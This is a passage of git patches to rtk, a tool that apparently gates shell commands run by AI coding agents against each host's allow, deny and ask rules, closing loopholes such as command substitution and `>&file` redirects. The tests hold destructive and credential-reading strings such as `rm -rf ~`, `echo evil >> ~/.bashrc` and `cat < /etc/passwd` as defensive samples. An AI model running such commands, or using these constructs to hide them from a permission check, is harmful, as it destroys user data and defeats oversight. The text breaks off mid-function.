PermissionVerdict { /// Returns `Default` when no rules match — callers should treat this as ask /// to match Claude Code's least-privilege default. pub fn check_command(cmd: &str) -> PermissionVerdict { - let (deny_rules, ask_rules, allow_rules) = load_permission_rules(); + check_command_for(cmd, Host::Claude) +} + +/// The agent host whose own permission settings should be consulted. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Host { + Claude, + Cursor, + Gemini, +} + +pub fn check_command_for(cmd: &str, host: Host) -> PermissionVerdict { + let (deny_rules, ask_rules, allow_rules) = match host { + Host::Claude => load_permission_rules(), + Host::Cursor => load_cursor_rules(), + Host::Gemini => load_gemini_rules(), + }; check_command_with_rules(cmd, &deny_rules, &ask_rules, &allow_rules) } @@ -167,6 +183,79 @@ fn get_settings_paths() -> Vec { paths } +fn read_json(path: &std::path::Path) -> Option { + let content = std::fs::read_to_string(path).ok()?; + match serde_json::from_str::(&content) { + Ok(v) => Some(v), + Err(_) => { + eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + None + } + } +} + +fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: &mut Vec) { + let Some(arr) = rules_value.and_then(|v| v.as_array()) else { + return; + }; + for rule in arr.iter().filter_map(|r| r.as_str()) { + for pre in prefixes { + let bare = &pre[..pre.len() - 1]; + if rule == bare { + target.push("*".to_string()); + break; + } + if let Some(inner) = rule.strip_prefix(pre).and_then(|s| s.strip_suffix(')')) { + target.push(inner.to_string()); + break; + } + } + } +} + +/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. +/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +fn load_cursor_rules() -> (Vec, Vec, Vec) { + let mut deny = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(CURSOR_DIR).join("cli-config.json")); + } + if let Some(root) = find_project_root() { + paths.push(root.join(CURSOR_DIR).join("cli.json")); + } + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(perms) = json.get("permissions") { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); + } + } + (deny, Vec::new(), allow) +} + +/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. +/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. +fn load_gemini_rules() -> (Vec, Vec, Vec) { + let mut ask = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + if let Some(root) = find_project_root() { + paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + let shells = ["run_shell_command(", "ShellTool("]; + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(tools) = json.get("tools") { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); + } + } + (Vec::new(), ask, allow) +} + /// Locate the project root by walking up from CWD looking for `.claude/`. /// /// Falls back to `git rev-parse --show-toplevel` if not found via directory walk. From f181184b4017d71aa7f557148a2d7f1b872ab6d2 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:20:37 +0200 Subject: [PATCH 189/204] fix(permissions): add test for cursor and gemini settings perm --- src/hooks/permissions.rs | 46 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 26ad9adf0b..d06eb98f6b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -188,7 +188,10 @@ fn read_json(path: &std::path::Path) -> Option { match serde_json::from_str::(&content) { Ok(v) => Some(v), Err(_) => { - eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + eprintln!( + "[rtk] warning: failed to parse permissions from {}", + path.display() + ); None } } @@ -932,4 +935,45 @@ mod tests { PermissionVerdict::Deny ); } + + // --- Per-host rule extraction --- + + #[test] + fn test_wrapped_rules_cursor_shell_only() { + let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["Shell("], &mut out); + assert_eq!(out, vec!["git", "curl:*", "npm test"]); + } + + #[test] + fn test_wrapped_rules_gemini_shell_variants() { + let v = serde_json::json!([ + "run_shell_command(git)", + "ShellTool(npm test)", + "read_file", + "run_shell_command" + ]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["run_shell_command(", "ShellTool("], &mut out); + assert_eq!(out, vec!["git", "npm test", "*"]); + } + + #[test] + fn test_wrapped_rules_extracted_patterns_match() { + let mut allow = Vec::new(); + append_wrapped_rules( + Some(&serde_json::json!(["Shell(git)"])), + &["Shell("], + &mut allow, + ); + assert_eq!( + check_command_with_rules("git status", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("rm -rf /", &[], &[], &allow), + PermissionVerdict::Default + ); + } } From 86ebbb3c5e5493ffbab770629ade349fc9984706 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:28:20 +0200 Subject: [PATCH 190/204] refacto(permissions): fmt --- src/hooks/permissions.rs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index d06eb98f6b..f9b7b299d2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -940,7 +940,12 @@ mod tests { #[test] fn test_wrapped_rules_cursor_shell_only() { - let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let v = serde_json::json!([ + "Shell(git)", + "Shell(curl:*)", + "Read(src/**)", + "Shell(npm test)" + ]); let mut out = Vec::new(); append_wrapped_rules(Some(&v), &["Shell("], &mut out); assert_eq!(out, vec!["git", "curl:*", "npm test"]); From 084fa84e9a58387b5d77ca68db8731d361a89f2b Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:55:00 +0200 Subject: [PATCH 191/204] fix(permissions): project-first config lookup for Gemini/Cursor --- src/hooks/permissions.rs | 50 ++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 28 deletions(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index f9b7b299d2..4d068d7f0d 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,45 +216,39 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. -/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +// Project config takes priority; global is the fallback when there is no project config. +fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(dir).join(project_file)) { + return Some(v); + } + } + read_json(&dirs::home_dir()?.join(dir).join(global_file)) +} + fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(CURSOR_DIR).join("cli-config.json")); - } - if let Some(root) = find_project_root() { - paths.push(root.join(CURSOR_DIR).join("cli.json")); - } - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(perms) = json.get("permissions") { - append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); - append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); - } + if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + .as_ref() + .and_then(|j| j.get("permissions")) + { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); } (deny, Vec::new(), allow) } -/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. -/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); - } - if let Some(root) = find_project_root() { - paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); - } let shells = ["run_shell_command(", "ShellTool("]; - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(tools) = json.get("tools") { - append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); - append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); - } + if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) + .as_ref() + .and_then(|j| j.get("tools")) + { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } (Vec::new(), ask, allow) } From ce362970e5752bacfd3a356c7fa122fea94ff0b2 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 20:56:44 +0200 Subject: [PATCH 192/204] fix(permissions): >&file redirect no allow + scope Gemini/Cursor config --- src/discover/lexer.rs | 20 +++++++++++++++--- src/hooks/permissions.rs | 44 ++++++++++++++++++++++++++++------------ 2 files changed, 48 insertions(+), 16 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 865b74a94a..cf9b2ce26e 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -314,10 +314,15 @@ fn contains_substitution(cmd: &str) -> bool { false } -/// File target unless it's fd-dup (`>&`) or `/dev/null`. +// `>&N`/`>&-` (and `N>&M`) is fd-dup/close; bare `>&` before a word is +// `>word 2>&1` — a file target. fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { - if tokens[i].value.contains(">&") { - return false; + let value = &tokens[i].value; + if let Some(pos) = value.find(">&") { + let tail = &value[pos + 2..]; + if !tail.is_empty() && tail.chars().all(|c| c.is_ascii_digit() || c == '-') { + return false; + } } match tokens.get(i + 1) { Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", @@ -1189,6 +1194,14 @@ mod tests { assert!(contains_unattestable_construct("cat << EOF")); } + #[test] + fn test_unattestable_ampersand_file_redirect() { + // `>&word` (word not a number) == `>word 2>&1` — a file write. + assert!(contains_unattestable_construct("git status >& /tmp/evil")); + assert!(contains_unattestable_construct("cat x >&~/.bashrc")); + assert!(contains_unattestable_construct("echo hi 2>& /tmp/evil")); + } + #[test] fn test_attestable_fd_dup_and_devnull_redirects() { assert!(!contains_unattestable_construct("git status 2>&1")); @@ -1197,6 +1210,7 @@ mod tests { assert!(!contains_unattestable_construct("cmd 2>/dev/null")); assert!(!contains_unattestable_construct("cmd > /dev/null")); assert!(!contains_unattestable_construct("cmd &> /dev/null")); + assert!(!contains_unattestable_construct("cmd >& /dev/null")); } #[test] diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 4d068d7f0d..33202807a2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,20 +216,17 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -// Project config takes priority; global is the fallback when there is no project config. -fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { - if let Some(root) = find_project_root() { - if let Some(v) = read_json(&root.join(dir).join(project_file)) { - return Some(v); - } - } - read_json(&dirs::home_dir()?.join(dir).join(global_file)) +// Global config only. RTK auto-allows only the globally-trusted subset; anything +// else defers to the host, which applies its own project config and folder-trust. +// This keeps RTK's allow set a subset of the host's — never more permissive. +fn global_config(dir: &str, file: &str) -> Option { + read_json(&dirs::home_dir()?.join(dir).join(file)) } fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + if let Some(perms) = global_config(CURSOR_DIR, "cli-config.json") .as_ref() .and_then(|j| j.get("permissions")) { @@ -239,14 +236,35 @@ fn load_cursor_rules() -> (Vec, Vec, Vec) { (deny, Vec::new(), allow) } +// Gemini honors project `.gemini/settings.json` when the folder is trusted. +// folderTrust is off by default (folder trusted); when on, a folder is trusted +// only via GEMINI_CLI_TRUST_WORKSPACE here (dialog-only trust is treated as +// untrusted → global, which is safe: never more permissive than the host). +fn gemini_settings() -> Option { + let global = global_config(GEMINI_DIR, SETTINGS_JSON); + let trusted = std::env::var("GEMINI_CLI_TRUST_WORKSPACE").as_deref() == Ok("true") + || !global + .as_ref() + .and_then(|j| { + j.pointer("/security/folderTrust/enabled") + .and_then(Value::as_bool) + }) + .unwrap_or(false); + if trusted { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(GEMINI_DIR).join(SETTINGS_JSON)) { + return Some(v); + } + } + } + global +} + fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); let shells = ["run_shell_command(", "ShellTool("]; - if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) - .as_ref() - .and_then(|j| j.get("tools")) - { + if let Some(tools) = gemini_settings().as_ref().and_then(|j| j.get("tools")) { append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } From 4be04e0bdcbc9fe7ccd367e00013e302196c2937 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 10:48:27 +0000 Subject: [PATCH 193/204] chore(master): release 0.42.2 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 12 ++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 15 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index cede7a525d..a623f136f8 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.42.1" + ".": "0.42.2" } diff --git a/CHANGELOG.md b/CHANGELOG.md index f9003c4175..816bfa9a57 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,18 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.2](https://github.com/rtk-ai/rtk/compare/v0.42.1...v0.42.2) (2026-06-05) + + +### Bug Fixes + +* **permissions:** >&file redirect no allow + scope Gemini/Cursor config ([ce36297](https://github.com/rtk-ai/rtk/commit/ce362970e5752bacfd3a356c7fa122fea94ff0b2)) +* **permissions:** add test for cursor and gemini settings perm ([f181184](https://github.com/rtk-ai/rtk/commit/f181184b4017d71aa7f557148a2d7f1b872ab6d2)) +* **permissions:** cursor and gemini use correct permissions settings file ([6ab149b](https://github.com/rtk-ai/rtk/commit/6ab149ba3e41bb41b99794ef55d384c9be96b91b)) +* **permissions:** never auto-allow not evaluable + defer to the agent ([cdcdb68](https://github.com/rtk-ai/rtk/commit/cdcdb6863a3df709603dbed0a6205bf16e4e635f)) +* **permissions:** never auto-allow not evaluable cmds, defer to hosts ([e1bc0bd](https://github.com/rtk-ai/rtk/commit/e1bc0bd9d0e52d98323714a3b163c359d6a240d2)) +* **permissions:** project-first config lookup for Gemini/Cursor ([084fa84](https://github.com/rtk-ai/rtk/commit/084fa84e9a58387b5d77ca68db8731d361a89f2b)) + ## [0.42.1](https://github.com/rtk-ai/rtk/compare/v0.42.0...v0.42.1) (2026-06-03) diff --git a/Cargo.lock b/Cargo.lock index b71ed64a84..f9b6067bb9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.42.1" +version = "0.42.2" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 6aa2ea2c33..ca34267fd0 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.42.1" +version = "0.42.2" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From 952245d39d099ed9a804dbba21bb0486f6aede16 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 17:57:29 +0200 Subject: [PATCH 194/204] fix(permissions): never auto-allow not evaluable + defer to the agent MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked. - `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed. - Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine. - Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell. --- src/discover/lexer.rs | 257 ++++++++++++++++++++++ src/hooks/hook_cmd.rs | 462 +++++++++++++++++++++++++++------------ src/hooks/permissions.rs | 157 ++++++++++++- src/hooks/rewrite_cmd.rs | 105 +++++++-- 4 files changed, 818 insertions(+), 163 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 5fb366f3bd..865b74a94a 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -15,6 +15,10 @@ pub struct ParsedToken { } pub fn tokenize(input: &str) -> Vec { + tokenize_inner(input, false) +} + +fn tokenize_inner(input: &str, emit_newline: bool) -> Vec { let mut tokens = Vec::new(); let mut current = String::new(); let mut current_start: usize = 0; @@ -226,6 +230,16 @@ pub fn tokenize(input: &str) -> Vec { }); current_start = byte_pos; } + '\n' | '\r' if emit_newline => { + flush_arg(&mut tokens, &mut current, current_start); + tokens.push(ParsedToken { + kind: TokenKind::Operator, + value: "\n".into(), + offset: byte_pos, + }); + byte_pos += char_len; + current_start = byte_pos; + } c if c.is_whitespace() => { flush_arg(&mut tokens, &mut current, current_start); byte_pos += c.len_utf8(); @@ -258,6 +272,101 @@ fn flush_arg(tokens: &mut Vec, current: &mut String, offset: usize) } } +/// True for constructs the permission gate can't decompose, so they must never +/// be auto-allowed: command/process substitution, or a real file-target redirect +/// (fd-dup like `2>&1` and `/dev/null` are exempt). Separators and subshells are +/// handled by [`split_for_permissions`], not flagged here. +pub fn contains_unattestable_construct(cmd: &str) -> bool { + if contains_substitution(cmd) { + return true; + } + let tokens = tokenize(cmd); + tokens + .iter() + .enumerate() + .any(|(i, tok)| tok.kind == TokenKind::Redirect && redirect_has_file_target(&tokens, i)) +} + +/// Quote-aware: bash runs backtick/`$(...)` unquoted and inside double quotes, +/// but treats single-quoted text literally; `<(`/`>(` is unquoted-only. +fn contains_substitution(cmd: &str) -> bool { + let bytes = cmd.as_bytes(); + let mut in_single = false; + let mut in_double = false; + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'\\' if !in_single => { + i += 2; + continue; + } + b'\'' if !in_double => in_single = !in_single, + b'"' if !in_single => in_double = !in_double, + b'`' if !in_single => return true, + b'$' if !in_single && bytes.get(i + 1) == Some(&b'(') => return true, + b'<' | b'>' if !in_single && !in_double && bytes.get(i + 1) == Some(&b'(') => { + return true + } + _ => {} + } + i += 1; + } + false +} + +/// File target unless it's fd-dup (`>&`) or `/dev/null`. +fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { + if tokens[i].value.contains(">&") { + return false; + } + match tokens.get(i + 1) { + Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", + _ => true, + } +} + +/// Like [`split_on_operators`] but also breaks on newline, background `&`, and +/// subshell `( ... )`, and truncates each segment at its first redirect. +/// Callers must still gate on [`contains_unattestable_construct`] first. +pub fn split_for_permissions(cmd: &str) -> Vec<&str> { + let trimmed = cmd.trim(); + if trimmed.is_empty() { + return vec![]; + } + + let tokens = tokenize_inner(trimmed, true); + let mut results = Vec::new(); + let mut seg_start: usize = 0; + let mut seg_end: Option = None; + + for tok in &tokens { + let is_boundary = match tok.kind { + TokenKind::Operator | TokenKind::Pipe => true, + TokenKind::Shellism => matches!(tok.value.as_str(), "&" | "(" | ")"), + _ => false, + }; + + if is_boundary { + let end = seg_end.take().unwrap_or(tok.offset); + let segment = trimmed[seg_start..end].trim(); + if !segment.is_empty() { + results.push(segment); + } + seg_start = tok.offset + tok.value.len(); + } else if tok.kind == TokenKind::Redirect && seg_end.is_none() { + seg_end = Some(tok.offset); + } + } + + let end = seg_end.unwrap_or(trimmed.len()); + let tail = trimmed[seg_start..end].trim(); + if !tail.is_empty() { + results.push(tail); + } + + results +} + /// Split a shell command on operators (`&&`, `||`, `;`) and optionally pipes (`|`), /// respecting quoted strings via the lexer. /// @@ -1030,4 +1139,152 @@ mod tests { assert!(split_on_operators("", false).is_empty()); assert!(split_on_operators(" ", true).is_empty()); } + + // --- contains_unattestable_construct (security) ------------------------- + + #[test] + fn test_unattestable_backtick() { + assert!(contains_unattestable_construct("git status `whoami`")); + } + + #[test] + fn test_unattestable_command_substitution() { + assert!(contains_unattestable_construct( + "git log --pretty=$(rm -rf ~)" + )); + } + + #[test] + fn test_unattestable_process_substitution() { + assert!(contains_unattestable_construct("diff <(secret) <(other)")); + assert!(contains_unattestable_construct("tee >(cat)")); + } + + #[test] + fn test_unattestable_substitution_inside_double_quotes() { + assert!(contains_unattestable_construct( + r#"git log --pretty="$(rm -rf ~)""# + )); + assert!(contains_unattestable_construct( + r#"git log --pretty="`rm -rf ~`""# + )); + assert!(contains_unattestable_construct( + r#"git -c x="$(whoami)" status"# + )); + } + + #[test] + fn test_attestable_substitution_inside_single_quotes() { + assert!(!contains_unattestable_construct("echo '$(rm -rf ~)'")); + assert!(!contains_unattestable_construct("echo '`whoami`'")); + assert!(!contains_unattestable_construct(r#"echo "\$(rm -rf ~)""#)); + } + + #[test] + fn test_unattestable_file_redirects() { + assert!(contains_unattestable_construct("git log > /tmp/x")); + assert!(contains_unattestable_construct("echo evil >> ~/.bashrc")); + assert!(contains_unattestable_construct("cmd &> /tmp/x")); + assert!(contains_unattestable_construct("cat < /etc/passwd")); + assert!(contains_unattestable_construct("cat << EOF")); + } + + #[test] + fn test_attestable_fd_dup_and_devnull_redirects() { + assert!(!contains_unattestable_construct("git status 2>&1")); + assert!(!contains_unattestable_construct("cmd >&2")); + assert!(!contains_unattestable_construct("cmd 2>&-")); + assert!(!contains_unattestable_construct("cmd 2>/dev/null")); + assert!(!contains_unattestable_construct("cmd > /dev/null")); + assert!(!contains_unattestable_construct("cmd &> /dev/null")); + } + + #[test] + fn test_attestable_subshell_and_separators() { + assert!(!contains_unattestable_construct( + "(git status; cargo build)" + )); + assert!(!contains_unattestable_construct( + "git status && cargo build" + )); + assert!(!contains_unattestable_construct("git status; cargo build")); + assert!(!contains_unattestable_construct("git log | head")); + assert!(!contains_unattestable_construct("sleep 1 &")); + assert!(!contains_unattestable_construct("git status\ncargo build")); + } + + #[test] + fn test_attestable_variable_expansion() { + assert!(!contains_unattestable_construct("echo $HOME")); + assert!(!contains_unattestable_construct("echo ${HOME}")); + assert!(!contains_unattestable_construct("git status")); + assert!(!contains_unattestable_construct("")); + } + + // --- split_for_permissions --------------------------------------------- + + #[test] + fn test_split_perms_operators() { + assert_eq!( + split_for_permissions("git status && cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git status; cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git log | head"), + vec!["git log", "head"] + ); + } + + #[test] + fn test_split_perms_newline() { + assert_eq!( + split_for_permissions("git status\ncargo build"), + vec!["git status", "cargo build"] + ); + } + + #[test] + fn test_split_perms_background_ampersand() { + assert_eq!( + split_for_permissions("git status & rm -rf ~"), + vec!["git status", "rm -rf ~"] + ); + assert_eq!(split_for_permissions("sleep 1 &"), vec!["sleep 1"]); + } + + #[test] + fn test_split_perms_subshell() { + assert_eq!( + split_for_permissions("(git status; cargo build)"), + vec!["git status", "cargo build"] + ); + assert_eq!(split_for_permissions("((a; b); c)"), vec!["a", "b", "c"]); + } + + #[test] + fn test_split_perms_truncates_at_redirect() { + assert_eq!(split_for_permissions("git status 2>&1"), vec!["git status"]); + assert_eq!(split_for_permissions("git log > /tmp/x"), vec!["git log"]); + assert_eq!( + split_for_permissions("git push --force 2>&1"), + vec!["git push --force"] + ); + } + + #[test] + fn test_split_perms_newline_inside_quotes_not_split() { + let segments = split_for_permissions("echo 'line1\nline2'"); + assert_eq!(segments.len(), 1); + assert!(segments[0].starts_with("echo")); + } + + #[test] + fn test_split_perms_empty() { + assert!(split_for_permissions("").is_empty()); + assert!(split_for_permissions(" ").is_empty()); + } } diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 8870bf8d75..36fc353e58 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -125,23 +125,40 @@ fn get_rewritten(cmd: &str) -> Option { Some(rewritten) } -fn handle_vscode(cmd: &str) -> Result<()> { - let verdict = permissions::check_command(cmd); +enum HookDecision { + AllowRewrite(String), + AskRewrite(String), + Defer, + Deny, +} + +fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { if verdict == PermissionVerdict::Deny { - audit_log("deny", cmd, ""); - return Ok(()); + return HookDecision::Deny; + } + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return HookDecision::Defer; + } + match get_rewritten(cmd) { + Some(r) if verdict == PermissionVerdict::Allow => HookDecision::AllowRewrite(r), + Some(r) => HookDecision::AskRewrite(r), + None => HookDecision::Defer, } +} - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => return Ok(()), - }; +fn decide_hook_action(cmd: &str) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command(cmd)) +} - // Allow (explicit rule matched): auto-allow the rewritten command. - // Ask/Default (no allow rule matched): rewrite but let the host tool prompt. - let decision = match verdict { - PermissionVerdict::Allow => "allow", - _ => "ask", +fn handle_vscode(cmd: &str) -> Result<()> { + let (decision, rewritten) = match decide_hook_action(cmd) { + HookDecision::Deny => { + audit_log("deny", cmd, ""); + return Ok(()); + } + HookDecision::Defer => return Ok(()), + HookDecision::AllowRewrite(r) => ("allow", r), + HookDecision::AskRewrite(r) => ("ask", r), }; audit_log("rewrite", cmd, &rewritten); @@ -166,19 +183,24 @@ fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { } fn copilot_cli_response(cmd: &str, args: &Value) -> Option { - copilot_cli_response_for_verdict(cmd, args, permissions::check_command(cmd)) + copilot_cli_response_from_decision(args, decide_hook_action(cmd), cmd) } -fn copilot_cli_response_for_verdict( - cmd: &str, +fn copilot_cli_response_from_decision( args: &Value, - verdict: PermissionVerdict, + decision: HookDecision, + cmd: &str, ) -> Option { - if verdict == PermissionVerdict::Deny { - audit_log("deny", cmd, ""); - return None; - } - let rewritten = get_rewritten(cmd)?; + let (rewritten, allow) = match decision { + HookDecision::Deny => { + audit_log("deny", cmd, ""); + return None; + } + HookDecision::Defer => return None, + HookDecision::AllowRewrite(r) => (r, true), + HookDecision::AskRewrite(r) => (r, false), + }; + audit_log("rewrite", cmd, &rewritten); let mut modified = args.clone(); @@ -186,15 +208,11 @@ fn copilot_cli_response_for_verdict( obj.insert("command".into(), Value::String(rewritten)); } - // Copilot CLI v1.0.54 only applies `modifiedArgs` when permissionDecision is - // either "allow" or absent. Omitting permissionDecision lets Copilot's normal - // permission flow run on the rewritten command — `rtk *` is not on its - // auto-allow list, so the user sees a prompt for the rewritten command. let mut response = json!({ "permissionDecisionReason": "RTK auto-rewrite", "modifiedArgs": modified, }); - if verdict == PermissionVerdict::Allow { + if allow { response["permissionDecision"] = json!("allow"); } Some(response) @@ -225,25 +243,22 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - // Check deny rules — Gemini CLI only supports allow/deny (no ask mode). - if permissions::check_command(cmd) == PermissionVerdict::Deny { - let _ = writeln!( - io::stdout(), - r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# - ); - return Ok(()); - } - - let (excluded, transparent_prefixes) = crate::core::config::Config::load() - .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) - .unwrap_or_default(); - - match rewrite_command(cmd, &excluded, &transparent_prefixes) { - Some(ref rewritten) => { + match decide_hook_action(cmd) { + HookDecision::Deny => { + let _ = writeln!( + io::stdout(), + r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# + ); + } + HookDecision::AllowRewrite(ref rewritten) => { audit_log("rewrite", cmd, rewritten); - print_rewrite(rewritten); + print_gemini("allow", Some(rewritten)); + } + HookDecision::AskRewrite(ref rewritten) => { + audit_log("ask", cmd, rewritten); + print_gemini("ask_user", Some(rewritten)); } - None => print_allow(), + HookDecision::Defer => print_gemini("ask_user", None), } Ok(()) @@ -253,16 +268,16 @@ fn print_allow() { let _ = writeln!(io::stdout(), r#"{{"decision":"allow"}}"#); } -fn print_rewrite(cmd: &str) { - let output = serde_json::json!({ - "decision": "allow", - "hookSpecificOutput": { - "tool_input": { - "command": cmd - } - } - }); - let _ = writeln!(io::stdout(), "{}", output); +fn gemini_json(decision: &str, rewrite: Option<&str>) -> String { + let mut output = serde_json::json!({ "decision": decision }); + if let 